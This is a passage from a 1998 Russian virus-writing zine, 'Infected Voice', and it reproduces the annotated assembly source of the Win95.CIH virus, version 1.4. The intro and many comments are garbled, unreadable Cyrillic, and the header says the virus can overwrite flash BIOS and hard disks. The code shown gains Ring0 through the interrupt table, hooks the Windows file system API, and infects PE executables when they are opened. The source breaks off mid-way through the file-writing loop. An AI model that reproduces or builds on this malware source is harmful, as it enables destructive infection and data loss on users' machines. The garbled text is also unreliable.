comment *

 INFECTED VOICE       ISSUE 98'09      (C)1994-98, by STEALTH group
 online h/p/v/a zine     (russian)      http://sourceofkaos.com/stealth
                                        mailto:noxyucT@usa.net



 Win95.CIH -   ᠬ   ᫥ ६.   ⮫쪮
⮬,      "ᮢ, ⢨⥫쭮  ".
,  ࠧ ⮬,   ᯮ 祭  䮪 
஫  0-  ਢ  (  ६  設⢮
ᮢ  ᪨ ணࠬ -   쥬). ᫥ ⮣  
뢠 ( ᯥ譮  ) VxD ࢨ    .   
SYSTEM.INI,    .VXD-䠩  WINDOWS\SYSTEM,  ⮫쪮 ࠦ
PE-䠩...  () ࠥ FLASH BIOS  ⪨ ᪨ :) ... 㡮 ,
  "-饬 १" Win95/98  ( 뢨 
䨧,  㤥    DOS :))

ਣ 室   ᫠ ஬  ஢ ୠ
Codebreakers #4.

*

; ****************************************************************************
; *                         ଠ  ணࠬ                           *
; ****************************************************************************
; *                                                                          *
; *      : CIH                  筨: TTIT TATUNG,        *
; *      : 04/26/1998       :  1.4                         *
; *     ६ ᫥ 䨪樨: 05/31/1998                              *
; *                                                                          *
; *     Turbo Assembler 4.0     : tasm /m cih                                *
; *     Turbo Link 3.01         : tlink /3 /t cih, cih.exe                   *
; *                                                                          *
; *==========================================================================*
;                             䨪権
; *==========================================================================*
; *     v1.0    1.  .                                            *
; *             2.   IDT  ⨦ ਢ Ring0    *
; * 04/26/1998  3.   㦠 ୮.                            *
; *             4. 뢠 IFSMgr_InstallFileSystemApiHook  ७   *
; *                 䩫 ⥬.                                         *
; *             5.   室  IFSMgr_InstallFileSystemApiHook.   *
; *             6. ᫨ 樮 ⥬ 뢠 䠩,  㤥        *
; *                 ࠦ,   㤥 ࠦ ୮.                    *
; *             7.  㤥 ࠦ ᫨  Read-Only.                     *
; *             8. ᫨ 䠩 ࠦ -    ६ 䨪樨        *
; *                   .                                       *
; *             9.   뢠 IFSMgr_Ring0_FileIO,   㤥     *
; *                 뢠 ।騩 FileSystemApiHook,  맮 㭪*
; *                  IFS  㤥 뢠,⮡ 믮      *
; *                   /뢮.                             *
; *            10.   656 .                                   *
; *==========================================================================*
; *     v1.1    1.  䠩    ࠦ.                 *
; * 05/15/1998  2. 墠뢠 Structured Exception Handing (SEH).       *
; *                ᫨  訡 ᪫祭,   - ᪮॥ ᥣ    *
; *                Windows NT.    ਪ   㤥         *
; *                த   :)  । ࠢ            *
; *                ਣ쭮 ணࠬ.                                   *
; *             3. ᯮ짮 訩 .   㬥襭.      *
; *             4. "" ࠧ  796 .                         *
; *==========================================================================*
; *     v1.2    1.   ⪨ ᪨,  BIOS... ... H...        *
; *             2. ࠢ   v1.1                                      *
; * 05/21/1998  3. "" ࠧ  1003 .                        *
; *==========================================================================*
; *     v1.3    1. ௠   訡 WinZip Self-Extractor'a           *
; *                  䠩  ࠦ.                           *
; * 05/24/1998  2. "" ࠧ  1010 .                        *
; *==========================================================================*
; *     v1.4    1.   WinZip Self-Extractor  ࠢ.          *
; *             2.   ⠡뢠 "ਧ".                    *
; * 05/31/1998  3. ࠢ  Copyright.                              *
; *             4. "" ࠧ  1019 .                        *
; ****************************************************************************

                .586P

; ****************************************************************************
; *             ਣ PE 䠩 (H ⮨ ஢  ᥪ)
; ****************************************************************************

OriginalAppEXE  SEGMENT

FileHeader:
                db      04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
                db      004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
                db      0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
                db      00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
                db      021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
                db      069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
                db      061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
                db      074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
                db      020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
                db      06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
                db      024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
                db      0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
                db      00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
                db      000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
                db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
                db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
                db      000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
                db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
                db      000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
                db      000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
                db      000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
                db      000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                db      0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
                dd      00000000h, VirusSize

OriginalAppEXE  ENDS

; ----------------------------------------------------------------------------
;                                
; ----------------------------------------------------------------------------

;----------------------------------------------------------------------------
;                            । ⠭
;----------------------------------------------------------------------------

TRUE                    =       1
FALSE                   =       0

DEBUG                   =       TRUE

MajorVirusVersion       =       1
MinorVirusVersion       =       4

VirusVersion            =       MajorVirusVersion*10h+MinorVirusVersion


IF      DEBUG

        FirstKillHardDiskNumber =       81h
        HookExceptionNumber     =       05h

ELSE

        FirstKillHardDiskNumber =       80h
        HookExceptionNumber     =       03h

ENDIF


FileNameBufferSize      =       7fh

;----------------------------------------------------------------------------
;----------------------------------------------------------------------------

VirusGame               SEGMENT

                        ASSUME  CS:VirusGame, DS:VirusGame, SS:VirusGame
                        ASSUME  ES:VirusGame, FS:VirusGame, GS:VirusGame

;----------------------------------------------------------------------------
;              樠   3 (Ring3)
;----------------------------------------------------------------------------

MyVirusStart:
                        push    ebp

;----------------------------------------------------------------------------
; 㥬 Structured Exception Handing,  ।饭 訡
; ᪫祭, ᮡ  windows NT.
;----------------------------------------------------------------------------

                        lea     eax, [esp-04h*2]

                        xor     ebx, ebx
                        xchg    eax, fs:[ebx]

                        call    @0
@0:
                        pop     ebx

                        lea     ecx, StopToRunVirusCode-@0[ebx]
                        push    ecx

                        push    eax

;----------------------------------------------------------------------------
; 䨪 IDT (Interrupt Descriptor Table - ⠡ ਯ஢
; 뢠)  ⨦ ਢ Ring0
;----------------------------------------------------------------------------

                        push    eax             ;
                        sidt    [esp-02h]       ;    IDT
                        pop     ebx             ;

                        add     ebx, HookExceptionNumber*08h+04h ; ZF = 0

                        cli

                        mov     ebp, [ebx]      ;  
                                                ; 뢠/᪫祭
                        mov     bp, [ebx-04h]   ;   室

                        lea     esi, MyExceptionHook-@1[ecx]

                        push    esi

                        mov     [ebx-04h], si           ;
                        shr     esi, 16                 ; 墠 뢠
                        mov     [ebx+02h], si           ;  窠 室

                        pop     esi

;----------------------------------------------------------------------------
; 㥨 ᪫祭, ⮡ ३  0
;----------------------------------------------------------------------------

                        int     HookExceptionNumber     ; 㥬
ReturnAddressOfEndException     =       $

;----------------------------------------------------------------------------
; 쥤   ᥪ樨 
;----------------------------------------------------------------------------

                        push    esi
                        mov     esi, eax

LoopOfMergeAllVirusCodeSection:

                        mov     ecx, [eax-04h]

                        rep     movsb

                        sub     eax, 08h

                        mov     esi, [eax]

                        or      esi, esi
                        jz      QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

                        jmp     LoopOfMergeAllVirusCodeSection

QuitLoopOfMergeAllVirusCodeSection:

                        pop     esi

;----------------------------------------------------------------------------
; 㥬 ᪫祭 ᭮
;----------------------------------------------------------------------------

                        int     HookExceptionNumber     ; 㥬 ᭮

;----------------------------------------------------------------------------
; ⠭ Structured Exception Handing (SEH) 
;----------------------------------------------------------------------------

ReadyRestoreSE:
                        sti

                        xor     ebx, ebx

                        jmp     RestoreSE

;----------------------------------------------------------------------------
;   訡 ᪫祭,     - Windows NT
;    쪨 :)   㤥 ࠡ ,  ୥
; ࠢ ਣ쭮 ਫ
;----------------------------------------------------------------------------

StopToRunVirusCode:
@1                      =       StopToRunVirusCode

                        xor     ebx, ebx
                        mov     eax, fs:[ebx]
                        mov     esp, [eax]

RestoreSE:
                        pop     dword ptr fs:[ebx]
                        pop     eax

;----------------------------------------------------------------------------
;  ࠢ ணࠬ
;----------------------------------------------------------------------------

                        pop     ebp

                        push    00401000h       ; 窠 室
OriginalAddressOfEntryPoint     =       $-4     ;  ਣ ணࠬ

                        ret     ;  ࠢ

;----------------------------------------------------------------------------
; 樠   0
;----------------------------------------------------------------------------

MyExceptionHook:
@2                      =       MyExceptionHook

                        jz      InstallMyFileSystemApiHook

;----------------------------------------------------------------------------
; 饭  㣠  !?
;----------------------------------------------------------------------------

                        mov     ecx, dr0
                        jecxz   AllocateSystemMemoryPage

                        add     dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

;----------------------------------------------------------------------------
;   ணࠬ 樠樨  0
;----------------------------------------------------------------------------

ExitRing0Init:
                        mov     [ebx-04h], bp   ;
                        shr     ebp, 16         ; ⠭ 뢠
                        mov     [ebx+02h], bp   ;

                        iretd

;----------------------------------------------------------------------------
; 뤥 ࠭ ⥬ 
;----------------------------------------------------------------------------

AllocateSystemMemoryPage:

                        mov     dr0, ebx        ; ⠢ ,  
                                                ; 㦥 饭

                        push    00000000fh      ;
                        push    ecx             ;
                        push    0ffffffffh      ;
                        push    ecx             ;
                        push    ecx             ;
                        push    ecx             ;
                        push    000000001h      ;
                        push    000000002h      ;
                        int     20h             ; VMMCALL _PageAllocate
_PageAllocate           =       $               ;
                        dd      00010053h       ; ᯮ EAX, ECX, EDX,
                                                ;  䫠
                        add     esp, 08h*04h

                        xchg    edi, eax        ; EDI = H砫 
                                                ; 뤥 

                        lea     eax, MyVirusStart-@2[esi]

                        iretd   ;   ணࠬ 樠樨
                                ;  0

;----------------------------------------------------------------------------
; ⠭  ࠡ稪 API 䠩 ⥬
;----------------------------------------------------------------------------

InstallMyFileSystemApiHook:

                        lea     eax, FileSystemApiHook-@6[edi]

                        push    eax  ;
                        int     20h  ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook =       $       ;
                        dd      00400067h       ; ᯮ EAX, ECX, EDX,
                                                ;  䫠

                        mov     dr0, eax        ; ࠭  ண
                                                ; ࠡ稪
                                                ; (OldFileSystemApiHook)

                        pop     eax     ; EAX =  FileSystemApiHook

                        ; ࠭   楤 墠
                        ; ࢨᮢ 䠩 ⥬
                        ; (IFSMgr_InstallFileSystemApiHook)

                        mov     ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
                        mov     edx, [ecx]
                        mov     OldInstallFileSystemApiHook-@3[eax], edx

                        ; 墠   ⠭ 
                        ; ࠡ稪  API 䠩 ⥬
                        ; (IFSMgr_InstallFileSystemApiHook)

                        lea     eax, InstallFileSystemApiHook-@3[eax]
                        mov     [ecx], eax

                        cli

                        jmp     ExitRing0Init

;----------------------------------------------------------------------------
;  稪,  ᪫   
;----------------------------------------------------------------------------

CodeSizeOfMergeVirusCodeSection         =       offset $

;----------------------------------------------------------------------------
; ࠡ稪 ࢨ 墠 API 䠩 ⥬
;           IFSMgr_InstallFileSystemApiHook
;----------------------------------------------------------------------------

InstallFileSystemApiHook:
                        push    ebx

                        call    @4      ;
@4:                                     ;
                        pop     ebx     ; mov ebx, offset FileSystemApiHook
                        add     ebx, FileSystemApiHook-@4       ;

                        push    ebx     ; ६ 㤠  ࠡ稪
                        int     20h  ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook  =       $
                        dd      00400068h       ; ᯮ EAX, ECX, EDX,
                                                ;  䫠

                        pop     eax

                        ; 맢 ਣ IFSMgr_InstallFileSystemApiHook
                        ; ⮡  襭 ⮬ ࠡ稪

                        push    dword ptr [esp+8]
                        call    OldInstallFileSystemApiHook-@3[ebx]
                        pop     ecx

                        push    eax

                        ; 맢 ਣ IFSMgr_InstallFileSystemApiHook
                        ; ⮡   ࠡ稪 ᢥ 

                        push    ebx
                        call    OldInstallFileSystemApiHook-@3[ebx]
                        pop     ecx

                        mov     dr0, eax        ;   ண
                                                ; ࠡ稪 API 䠩
                                                ; ⥬
                                                ; (OldFileSystemApiHook)

                        pop     eax

                        pop     ebx

                        ret

;----------------------------------------------------------------------------
;                       ᪨ () 
;----------------------------------------------------------------------------

OldInstallFileSystemApiHook     dd      ?

;----------------------------------------------------------------------------
; ࠡ稪 API 䠩 ⥬ (IFSMgr_FileSystemHook)
;----------------------------------------------------------------------------

;----------------------------------------------------------------------------
; 窠 室  IFSMgr_FileSystemHook
;----------------------------------------------------------------------------

FileSystemApiHook:
@3                      =       FileSystemApiHook

                        pushad

                        call    @5      ;
@5:                                     ;
                        pop     esi     ; mov esi, offset VirusGameDataStartAddress
                        add     esi, VirusGameDataStartAddress-@5

;------------------------------------
; ⠢  䫠 !?
;------------------------------------

                        test    byte ptr (OnBusy-@6)[esi], 01h
                                        ; ᫨ ⠢ -
                        jnz     pIFSFunc
                                        ; ᯮ 襭 㭪
                                        ; (goto pIFSFunc)

;------------------------------------
;   ⨥ 䠩 (OpenFile)!?
;------------------------------------

                        ; ᫨   ⨥ 䠩 -
                        ; ᯮ ਣ ࠡ稪
                        ; (goto prevhook)
                        lea     ebx, [esp+20h+04h+04h]
                        cmp     dword ptr [ebx], 00000024h
                        jne     prevhook

;------------------------------------
;  䫠 
;------------------------------------

                        inc     byte ptr (OnBusy-@6)[esi]

;----------------------------------------------------------------------------
;   ᪠  ⨊
;  ⠭  ᪠   (FileNameBuffer)
;------------------------------------
; Hਬ. ᫨ H᪠ 03h,
; -  ᪠ 'C:'
;----------------------------------------------------------------------------

                        ; mov esi, offset FileNameBuffer
                        add     esi, FileNameBuffer-@6

                        push    esi

                        mov     al, [ebx+04h]
                        cmp     al, 0ffh
                        je      CallUniToBCSPath

                        add     al, 40h
                        mov     ah, ':'

                        mov     [esi], eax

                        inc     esi
                        inc     esi

;--------------------------------------------------------------------------*
; UniToBCSPath
;--------------------------------------------------------------------------*
;  ࢨ  ஢ Unicode 
;  ଠ  ࠭  ࠭ BCS
;--------------------------------------------------------------------------*

CallUniToBCSPath:
                        push    00000000h
                        push    FileNameBufferSize
                        mov     ebx, [ebx+10h]
                        mov     eax, [ebx+0ch]
                        add     eax, 04h
                        push    eax
                        push    esi
                        int     20h     ; VXDCall UniToBCSPath
UniToBCSPath            =       $
                        dd      00400041h
                        add     esp, 04h*04h

;------------------------------------
;  䠩 砥  '.EXE' !?
;------------------------------------

                        ; cmp [esi+eax-04h], '.EXE'
                        cmp     [esi+eax-04h], 'EXE.'
                        pop     esi
                        jne     DisableOnBusy

IF      DEBUG

;------------------------------------
; 쪮  ⫠
;------------------------------------

                        ; cmp [esi+eax-06h], 'FUCK'
                        cmp     [esi+eax-06h], 'KCUF'
                        jne     DisableOnBusy

ENDIF

;------------------------------------
; 뢠 㦥 騩 䠩!?
;------------------------------------

                        ; if ( NotOpenExistingFile )
                        ; goto DisableOnBusy
                        cmp     word ptr [ebx+18h], 01h
                        jne     DisableOnBusy

;------------------------------------
;  ਡ 䠩
;------------------------------------

                        mov     ax, 4300h
                        int     20h     ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO     =       $
                        dd      00400032h

                        jc      DisableOnBusy

                        push    ecx

;------------------------------------
;   䠩 ࢨ -뢮
; (IFSMgr_Ring0_FileIO)
;------------------------------------

                        mov     edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
                        mov     edi, [edi]

;------------------------------------
;  ⮫쪮  ⥭!?
;------------------------------------

                        test    cl, 01h
                        jz      OpenFile

;------------------------------------
; ⠢  ⥭-
;------------------------------------

                        mov     ax, 4301h
                        xor     ecx, ecx
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO

;------------------------------------
;  䠩
;------------------------------------

OpenFile:
                        xor     eax, eax
                        mov     ah, 0d5h
                        xor     ecx, ecx
                        xor     edx, edx
                        inc     edx
                        mov     ebx, edx
                        inc     ebx
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO

                        xchg    ebx, eax ; mov ebx, FileHandle
                                         ; 奭 䠩  ebx

;------------------------------------
; H  ⠭ ਡ 䠩?
;------------------------------------

                        pop     ecx

                        pushf

                        test    cl, 01h
                        jz      IsOpenFileOK

;------------------------------------
; ⠭ ਡ
;------------------------------------

                        mov     ax, 4301h
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO

;------------------------------------
;  ?
;------------------------------------

IsOpenFileOK:
                        popf

                        jc      DisableOnBusy

;------------------------------------
; ᫨ ⨥ 䠩 諮 㤠筮
;------------------------------------

                        push    esi     ; ࠭  
                                        ; (  䠩)  ⥪
                                        ; (FileNameBuffer)

                        pushf           ;  CF = 0, ࠭ 䫠

                        add     esi, DataBuffer-@7
                                        ; mov esi, offset DataBuffer

;--------------------------
;  ᬥ饭  NE-
;--------------------------

                        xor     eax, eax
                        mov     ah, 0d6h

                        ; ⮡ ஢ 
                        ;  ࠭ EAX  EBP.
                        mov     ebp, eax

                        push    00000004h
                        pop     ecx
                        push    0000003ch
                        pop     edx
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO

                        mov     edx, [esi]

;----------------------------------------------------------------------------
;  'PE\0' ᨣ   䠩
;   ࠦ
;----------------------------------------------------------------------------

                        dec     edx

                        mov     eax, ebp
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO

;----------------------------------------------------------------------------
;  PE !?
;--------------------------
;  㦥 ࠦ ?!
;--------------------------
; ᠬᯠ뢠騥 WinZip 娢
;   ⪨ ࠦ, ⮬     ࠦ 
;----------------------------------------------------------------------------

                        ; cmp [esi], '\0PE\0'
                        cmp     dword ptr [esi], 00455000h
                        jne     CloseFile

;----------------------------------------------------------------------------
;  - PE (Portable Executable)
;------------------------------------
;  ⠪  ࠦ
;------------------------------------

;------------------------------------
; H ࠦ
;------------------------------------
;  ᯮ짮 ॣ஢
;   :

; EAX = 04h
; EBX =  䠩
; ECX = 04h
; EDX = (  䠩) 㪠뢠  'PE\0\0'-ᨣ   䠩
; ESI =    ==> @8
; EDI =  ࠡ稪 IFSMgr_Ring0_FileIO
; EBP = D600h ==>    䠩
;----------------------------------------------------------------------------
; ⥪:
;                                   *
; ESP => -------------------------  *
;        |       EFLAG(CF=0)     |  *
;        -------------------------  *
;        | FileNameBufferPointer |  *
;        -------------------------  *
;        |          EDI          |  *
;        -------------------------  *
;        |          ESI          |  *
;        -------------------------  *
;        |          EBP          |  *
;        -------------------------  *
;        |          ESP          |  *
;        -------------------------  *
;        |          EBX          |  *
;        -------------------------  *
;        |          EDX          |  *
;        -------------------------  *
;        |          ECX          |  *
;        -------------------------  *
;        |          EAX          |  *
;        -------------------------  *
;        |          |  *
;        -------------------------  *
;----------------------------------------------------------------------------

                        push    ebx     ; ࠭  䠩

                        push    00h     ; ⠭   ⠡
                                        ;  ᥪ権 
                                        ; (VirusCodeSectionTableEndMark)

;--------------------------
; ⠢  ࠦ
;--------------------------

                        push    01h     ; 
                        push    edx     ;   䠩
                        push    edi     ;  

;--------------------------
; ࠭ ESP
;--------------------------

                        mov     dr1, esp

;--------------------------
; ⠭   窨 室 (NewAddressOfEntryPoint).
; ( Only First Set Size ) *
;--------------------------

                        push    eax     ; 

;--------------------------
;   䠩
;--------------------------

                        mov     eax, ebp
                        mov     cl, SizeOfImageHeaderToRead
                        add     edx, 07h ; ६ EDX (㪠⥫) 
                                         ; ⢮ ᥪ権
                        call    edi      ; VXDCall IFSMgr_Ring0_FileIO

;----------------------------------------------------------------------------
; ⠭   窨 室 (NewAddressOfEntryPoint).
; ⠭ 㪠⥫,  
;----------------------------------------------------------------------------

                        lea     eax, (AddressOfEntryPoint-@8)[edx]
                        push    eax     ; ⥫

                        lea     eax, (NewAddressOfEntryPoint-@8)[esi]
                        push    eax     ;  

;----------------------------------------------------------------------------
; ६ EDX-㪠⥫  砫 ⠡ ᥪ権
;----------------------------------------------------------------------------

                        movzx   eax, word ptr (SizeOfOptionalHeader-@8)[esi]
                        lea     edx, [eax+edx+12h]

;----------------------------------------------------------------------------
;  騩 ࠧ ᥪ権
;----------------------------------------------------------------------------

                        mov     al, SizeOfScetionTable

                        ;  ।  ⢮ ᥪ権
                        ; (NumberOfSections) <= 0ffh
                        mov     cl, (NumberOfSections-@8)[esi]

                        mul     cl

;--------------------------
; ⠭ ⠡ ᥪ権
;--------------------------

                        ; ६ ESI  砫 ⠡ ᥪ権
                        lea     esi, (StartOfSectionTable-@8)[esi]

                        push    eax     ; 
                        push    edx     ;   䠩
                        push    esi     ;  

;----------------------------------------------------------------------------
; ࠧ ᭮ 稪 + ࠧ ⠡ ᥪ権 ,
;     ࠢ ࠧ ᯮ㥬 
;  䠩 ( ࠧ 뢠  ⠡ ᥪ権)
;----------------------------------------------------------------------------

                        inc     ecx
                        push    ecx     ; ࠭ ⢮ ᥪ権 +1
                                        ; (NumberOfSections+1)

                        shl     ecx, 03h
                        push    ecx     ; ࠭ ࠧ ⠡ ᥪ権 
                                        ; (TotalSizeOfVirusCodeSectionTable)

                        add     ecx, eax
                        add     ecx, edx

                        sub     ecx, (SizeOfHeaders-@9)[esi]
                        not     ecx
                        inc     ecx

                        ; ࠭   ᥪ  (稪)
                        ; Size of Following Section Table...
                        ; (H  ࠧ ⠡  ᥪ権 )

                        push    ecx

                        xchg    ecx, eax        ; ECX =  ⠡ ᥪ権

                        ; ࠭  ਣ쭮 窨 室

                        mov     eax, (AddressOfEntryPoint-@9)[esi]
                        add     eax, (ImageBase-@9)[esi]
                        mov     (OriginalAddressOfEntryPoint-@9)[esi], eax

                        cmp     word ptr [esp], small CodeSizeOfMergeVirusCodeSection
                        jl      OnlySetInfectedMark

;--------------------------
;   ࠧ  ᥪ権 (䠩)
;--------------------------

                        mov     eax, ebp
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO

;----------------------------------------------------------------------------
; ࠢ:
;  訡  ᠬᯠ뢠 娢 WinZip
;----------------------------------------------------------------------------
; ᫨  뢠 ᠬᯠ騩 WinZip-娢,
;     ࠦ (娢  ᫥ :)
;----------------------------------------------------------------------------
; 砫,  砥 㪠⥫  ᥪ Raw- (PointerToRawData)
;  ன ⠡ ᥪ権, ⠥   ᥪ樨,   ப 'WinZip(R)'
;----------------------------------------------------------------------------

                        xchg    eax, ebp

                        push    00000004h
                        pop     ecx

                        push    edx
                        mov     edx, (SizeOfScetionTable+PointerToRawData-@9)[esi]
                        add     edx, 12h

                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO

                        ; cmp [esi], 'nZip'

                        cmp     dword ptr [esi], 'piZn'
                        je      NotSetInfectedMark

                        pop     edx

;----------------------------------------------------------------------------
; ⠭ 騩 ࠧ ⠡ ᥪ権 
;----------------------------------------------------------------------------

                        ; EBX =  ࢮ ᥪ樨 
                        ;  ࠧ ᫥饩 ⠡ 
                        ; ᥪ権 (  ᠬ ⠡)

                        pop     ebx
                        pop     edi     ; EDI = 騩 ࠧ ⠡
                                        ; ᥪ権 
                                        ; (TotalSizeOfVirusCodeSectionTable)

                        pop     ecx     ; ECX = ⢮ ᥪ権 +1
                                        ; (NumberOfSections+1)

                        push    edi             ; 

                        add     edx, ebp
                        push    edx             ; 

                        add     ebp, esi
                        push    ebp             ;  

;----------------------------------------------------------------------------
; ⠭ ࠧ ࢮ ᥪ樨  
; ⠡ ᥪ権  (VirusCodeSectionTable)
;----------------------------------------------------------------------------

                        lea     eax, [ebp+edi-04h]
                        mov     [eax], ebx

;----------------------------------------------------------------------------
;   ᥪ 
;----------------------------------------------------------------------------

                        push    ebx     ; Size

                        add     edx, edi
                        push    edx     ; Pointer of File

                        lea     edi, (MyVirusStart-@9)[esi]
                        push    edi     ; Address of Buffer

;----------------------------------------------------------------------------
;   窨 室   室  
;----------------------------------------------------------------------------

                        mov     (NewAddressOfEntryPoint-@9)[esi], edx

;--------------------------
; ⠭ 砫 
;--------------------------

                        lea     edx, [esi-SizeOfScetionTable]
                        mov     ebp, offset VirusSize

                        jmp     StartToWriteCodeToSections

;--------------------------
;     ᥪ樨
;--------------------------

LoopOfWriteCodeToSections:

                        add     edx, SizeOfScetionTable

                        mov     ebx, (SizeOfRawData-@9)[edx]
                        sub     ebx, (VirtualSize-@9)[edx]
                        jbe     EndOfWriteCodeToSections

                        push    ebx     ; 

                        sub     eax, 08h
                        mov     [eax], ebx

                        mov     ebx, (PointerToRawData-@9)[edx]
                        add     ebx, (VirtualSize-@9)[edx]
                        push    ebx     ;   䠩

                        push    edi     ;  

                        mov     ebx, (VirtualSize-@9)[edx]
                        add     ebx, (VirtualAddress-@9)[edx]
                        add     ebx, (ImageBase-@9)[esi]
                        mov     [eax+4], ebx

                        mov     ebx, [eax]
                        add     (VirtualSize-@9)[edx], ebx

                        ;  ᮤন 樠㥬 
                        ;  ==> 00000040h
                        ;  㯭  ⥭ ==> 40000000h

                        or      (Characteristics-@9)[edx], 40000040h

StartToWriteCodeToSections:

                        sub     ebp, ebx
                        jbe     SetVirusCodeSectionTableEndMark

                        add     edi, ebx        ; ६  

EndOfWriteCodeToSections:

                        loop    LoopOfWriteCodeToSections

;--------------------------
; ⠢  ࠦ
;--------------------------

OnlySetInfectedMark:
                        mov     esp, dr1

                        jmp     WriteVirusCodeToFile

;--------------------------
; H ⠢  ࠦ
;--------------------------

NotSetInfectedMark:
                        add     esp, 3ch

                        jmp     CloseFile

;--------------------------
;    ⠡ ᥪ権 
;--------------------------

SetVirusCodeSectionTableEndMark:

                        ;  ࠧ  ᥪ樨 
                        add     [eax], ebp
                        add     [esp+08h], ebp

                        ; ⠭  砭
                        xor     ebx, ebx
                        mov     [eax-04h], ebx

;----------------------------------------------------------------------------
;   뢠 VxDCall, VMM   'int 20h' 
; 䨪 ࢨ ('Service Identifier')   'Call [XXXXXXXX]'
;----------------------------------------------------------------------------
; ।    䠩,  ⠭    
;----------------------------------------------------------------------------

                        lea     eax, (LastVxDCallAddress-2-@9)[esi]

                        mov     cl, VxDCallTableSize

LoopOfRestoreVxDCallID:
                        mov     word ptr [eax], 20cdh

                        mov     edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
                        mov     [eax+2], edx

                        movzx   edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]
                        sub     eax, edx

                        loop    LoopOfRestoreVxDCallID

;--------------------------
;     䠩
;--------------------------

WriteVirusCodeToFile:
                        mov     eax, dr1
                        mov     ebx, [eax+10h]
                        mov     edi, [eax]

LoopOfWriteVirusCodeToFile:

                        pop     ecx
                        jecxz   SetFileModificationMark

                        mov     esi, ecx
                        mov     eax, 0d601h
                        pop     edx
                        pop     ecx

                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO

                        jmp     LoopOfWriteVirusCodeToFile

;----------------------------------------------------------------------------
